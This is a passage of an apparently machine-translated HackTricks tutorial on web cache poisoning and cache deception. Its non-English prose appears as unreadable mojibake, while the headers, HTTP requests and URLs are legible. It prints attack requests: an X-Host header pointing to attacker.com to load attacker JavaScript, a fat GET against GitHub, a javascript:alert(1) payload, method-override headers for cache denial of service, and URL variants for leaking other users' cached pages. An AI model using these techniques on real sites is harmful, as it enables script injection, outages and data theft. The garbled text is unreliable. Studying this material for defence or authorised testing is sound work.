X-Forwarded-Scheme: http
рд╕реАрдорд┐рдд Vary
рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╢реЛрд╖рдг
рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ X-Host
рд╣реЗрдбрд░ JS рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Vary
рд╣реЗрдбрд░ User-Agent
рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рддреЛ, рдЖрдкрдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ User-Agent рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЬреЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URL рдореЗрдВ рдЕрдиреБрд░реЛрдз рдФрд░ рд╢рд░реАрд░ рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде GET рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВред рдпрджрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╢рд░реАрд░ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреИрд╢ рд╕рд░реНрд╡рд░ URL рд╕реЗ рдПрдХ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдЙрд╕ URL рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдкрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╢рд░реАрд░ рд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ vuln рдЬреЗрдореНрд╕ рдХреЗрдЯрд▓ рдиреЗ Github рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдкрд╛рдпрд╛:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, parameters рдХреЛ ruby рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ ;
рдЕрдХреНрд╖рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ &
рдХреЗ рдмрдЬрд╛рдп рдЕрд▓рдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд┐рдирд╛ рдХреБрдВрдЬреА рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдорд╛рдиреЛрдВ рдХреЛ рдХреБрдВрдЬреА рд╡рд╛рд▓реЗ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдФрд░ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
рдпрд╣рд╛рдВ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ Cache Poisoning рд╣рдорд▓реЗ HTTP Request Smuggling рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдХреВрд▓рди рдпреЛрдЧреНрдп рд╣реИред
Example usage: wcvs -u example.com
Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд workflows рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
Vulnerable Examples
Apache Traffic Server (CVE-2021-27577)
ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдХреЗ рдЕрдВрд╢ рдХреЛ рдмрд┐рдирд╛ рд╣рдЯрд╛рдП рдЖрдЧреЗ рдмрдврд╝рд╛рдпрд╛ рдФрд░ рдХреЗрд╡рд▓ рд╣реЛрд╕реНрдЯ, рдкрде рдФрд░ рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╢ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХреА (рдЕрдВрд╢ рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП рдЕрдиреБрд░реЛрдз /#/../?r=javascript:alert(1)
рдХреЛ рдмреИрдХрдПрдВрдб рдкрд░ /#/../?r=javascript:alert(1)
рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рдЗрд╕рдХрд╛ рдкреЗрд▓реЛрдб рдирд╣реАрдВ рдерд╛, рдХреЗрд╡рд▓ рд╣реЛрд╕реНрдЯ, рдкрде рдФрд░ рдХреНрд╡реЗрд░реАред
GitHub CP-DoS
рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рд╣реЗрдбрд░ рдореЗрдВ рдПрдХ рдЦрд░рд╛рдм рдорд╛рди рднреЗрдЬрдиреЗ рд╕реЗ 405 рдХреИрд╢реНрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рд╣реБрдИред рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рдХреБрдХреА рд╢рд╛рдорд┐рд▓ рдереА, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред
GitLab + GCP CP-DoS
GitLab рд╕реНрдерд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP рдмрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред GCP Buckets header x-http-method-override
рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рдВрднрд╡ рдерд╛ рдХрд┐ рд╣реЗрдбрд░ x-http-method-override: HEAD
рднреЗрдЬрд╛ рдЬрд╛рдП рдФрд░ рдХреИрд╢ рдХреЛ рдЦрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╖рд╛рдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ PURGE
рд╡рд┐рдзрд┐ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддрд╛ рдерд╛ред
Rack Middleware (Ruby on Rails)
Ruby on Rails рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ, Rack рдорд┐рдбрд▓рд╡реЗрдпрд░ рдХрд╛ рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Rack рдХреЛрдб рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп x-forwarded-scheme
рд╣реЗрдбрд░ рдХреЗ рдорд╛рди рдХреЛ рд▓реЗрдирд╛ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрд░реЛрдз рдХреА рдпреЛрдЬрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм рд╣реЗрдбрд░ x-forwarded-scheme: http
рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕реА рд╕реНрдерд╛рди рдкрд░ 301 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ (DoS) рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЕрдиреБрдкреНрд░рдпреЛрдЧ X-forwarded-host
рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдпрддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
403 and Storage Buckets
Cloudflare рдиреЗ рдкрд╣рд▓реЗ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрд╢ рдХрд┐рдпрд╛ рдерд╛ред рдЧрд▓рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рдереА рдЬреЛ рдХреИрд╢ рд╣реЛ рдЬрд╛рддреА рдереАред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
Injecting Keyed Parameters
рдХреИрд╢ рдЕрдХреНрд╕рд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ GET рдкреИрд░рд╛рдореАрдЯрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ size
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ URL-рдХреЛрдбрд┐рдд рд╕рдВрд╕реНрдХрд░рдг (рдЬреИрд╕реЗ, siz%65
) рднреА рдПрдХ рдЧрд▓рдд рдорд╛рди рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ рдХреИрд╢ рдХреБрдВрдЬреА рд╕рд╣реА size
рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдИ рдЬрд╛рдПрдЧреАред рдлрд┐рд░ рднреА, рдмреИрдХрдПрдВрдб URL-рдХреЛрдбрд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ size
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ URL-рдХреЛрдбрд┐рдВрдЧ рдХрд░рдиреЗ рд╕реЗ рдЗрд╕реЗ рдХреИрд╢ рджреНрд╡рд╛рд░рд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд▓реЗрдХрд┐рди рдмреИрдХрдПрдВрдб рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ 0 рдХрд╛ рдорд╛рди рдЕрд╕рд╛рдЗрди рдХрд░рдиреЗ рд╕реЗ рдХреИрд╢реЗрдмрд▓ 400 Bad Request рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реБрдИред
User Agent Rules
рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЙрдЪреНрдЪ-рдЯреНрд░реИрдлрд╝рд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рд▓реЛрдб рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд╡рд┐рдбрдВрдмрдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
Illegal Header Fields
RFC7230 рд╣реЗрдбрд░ рдирд╛рдореЛрдВ рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп рд╡рд░реНрдгреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рд╣реЗрдбрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ tchar рд░реЗрдВрдЬ рдХреЗ рдмрд╛рд╣рд░ рдХреЗ рд╡рд░реНрдгреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЛ рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ 400 Bad Request рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рд╕рд░реНрд╡рд░ рд╣рдореЗрд╢рд╛ рдЗрд╕ рдорд╛рдирдХ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ рдЕрд╡реИрдз рд╡рд░реНрдгреЛрдВ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рднреА 400 рддреНрд░реБрдЯрд┐ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬрдм рддрдХ рдХрд┐ cache-control
рд╣реЗрдбрд░ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рдПрдХ exploitable рдкреИрдЯрд░реНрди рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИ рдереА рдЬрд╣рд╛рдВ рдЕрд╡реИрдз рд╡рд░реНрдг рдЬреИрд╕реЗ \
рд╡рд╛рд▓рд╛ рд╣реЗрдбрд░ рднреЗрдЬрдиреЗ рд╕реЗ рдХреИрд╢реЗрдмрд▓ 400 Bad Request рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deception рдХрд╛ рд▓рдХреНрд╖реНрдп рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ рдРрд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдирд╛ рд╣реИ рдЬреЛ рдХреИрд╢ рджреНрд╡рд╛рд░рд╛ рдЙрдирдХреЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рд╕рд╣реЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрдВред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдпрд╣ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ extensions рдЬреИрд╕реЗ .css
, .js
, .png
рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ рдХреИрд╢ рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк www.example.com/profile.php/nonexistent.js
рддрдХ рдкрд╣реБрдВрдЪрддреЗ рд╣реИрдВ, рддреЛ рдХреИрд╢ рд╕рдВрднрд╡рддрдГ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ .js
extension рдХреЛ рджреЗрдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдпрджрд┐ application www.example.com/profile.php рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде replaying рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдЙрди рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЛ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЪреАрдЬреЗрдВ:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- рдХрдо рдЬреНрдЮрд╛рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬреИрд╕реЗ
.avif
рдПрдХ рдФрд░ рдмрд╣реБрдд рд╕реНрдкрд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: https://hackerone.com/reports/593712.
рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк http://www.example.com/home.php/non-existent.css рдЬреИрд╕реА рдЧреИрд░-рдореМрдЬреВрдж рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рддреЛ http://www.example.com/home.php (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде) рдХреА рд╕рд╛рдордЧреНрд░реА рд▓реМрдЯрд╛рдИ рдЬрд╛рдПрдЧреА рдФрд░ рдХреИрд╢ рд╕рд░реНрд╡рд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдЧрд╛ред
рдлрд┐рд░, attacker рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ http://www.example.com/home.php/non-existent.css рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкрд╣рд▓реЗ рдкрд╣реБрдВрдЪрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ extension рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (.css) рдФрд░ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд╣реАрдВред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ http://www.example.com/home.php/non-existent.css рдХрд╛ text/html
рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рд╣реЛрдЧрд╛ рди рдХрд┐ .css рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкреЗрдХреНрд╖рд┐рдд text/css
рдорд╛рдЗрдо рдкреНрд░рдХрд╛рд░ред
рдпрд╣рд╛рдВ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ Cache Deceptions рд╣рдорд▓реЗ HTTP Request Smuggling рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
Automatic Tools
- toxicache: URLs рдХреА рдПрдХ рд╕реВрдЪреА рдореЗрдВ рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рдХрдИ рдЗрдВрдЬреЗрдХреНрд╢рди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Golang рд╕реНрдХреИрдирд░ред
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд workflows рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
AWS Hacking рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- subscription plans рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ!
- Join the ЁЯТм Discord group рдпрд╛ telegram group рдпрд╛ follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.